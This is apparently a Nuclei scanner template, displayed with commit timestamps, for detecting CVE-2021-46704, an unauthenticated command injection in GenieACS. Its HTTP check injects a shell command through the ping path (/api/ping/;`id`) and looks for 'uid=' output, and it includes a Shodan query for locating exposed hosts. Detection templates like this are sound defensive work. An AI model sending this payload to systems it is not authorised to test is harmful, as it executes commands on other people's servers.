2023-06-21 20:03:09 +00:00
id : CVE-2021-46704
info :
2023-06-22 07:18:18 +00:00
name : GenieACS => 1.2.8 - OS Command Injection
2023-06-21 20:03:09 +00:00
author : DhiyaneshDK
severity : critical
description : |
In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to a patched version of GenieACS or apply the necessary security patches to mitigate the vulnerability.
2023-06-21 20:03:09 +00:00
reference :
- https://twitter.com/shaybt12/status/1671598239835906058
- https://github.com/advisories/GHSA-2877-693q-pj33
- https://nvd.nist.gov/vuln/detail/CVE-2021-46704
2023-07-11 19:49:27 +00:00
- https://github.com/genieacs/genieacs/commit/7f295beeecc1c1f14308a93c82413bb334045af6
- https://github.com/genieacs/genieacs/releases/tag/v1.2.8
2023-06-21 20:03:09 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2021-46704
2023-06-21 20:13:37 +00:00
cwe-id : CWE-78
2023-10-26 18:00:24 +00:00
epss-score : 0.95016
2023-11-07 14:54:31 +00:00
epss-percentile : 0.99073
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
2023-06-21 20:03:09 +00:00
metadata :
2023-06-27 22:00:59 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : genieacs
product : genieacs
2023-09-06 12:09:01 +00:00
shodan-query : http.favicon.hash:-2098066288
2023-06-22 07:18:18 +00:00
tags : cve,cve2021,genieacs,rce
2023-06-21 20:03:09 +00:00
http :
- method : GET
path :
- "{{BaseURL}}/api/ping/;`id`"
matchers-condition : and
matchers :
- type : word
part : header
words :
- text/plain
2023-07-11 19:49:27 +00:00
- type : regex
part : body
regex :
- "uid=([0-9]+)"
2023-06-21 20:03:09 +00:00
- type : status
status :
- 500
2023-06-27 22:00:59 +00:00
extractors :
- type : regex
regex :
2023-07-11 19:49:27 +00:00
- uid=(\d+)\((\w+)\)
part : body
2023-11-06 13:16:29 +00:00
# digest: 490a00463044022023361089858b84f9ed7e597cecad1dd96e134edeeca790645155a62b59157c3202206a789cbb1136ed5ae8f8c6a41705849b6884ec54bff74f4b975d6075385010ec:922c64590222798bb761d5b6d8e72950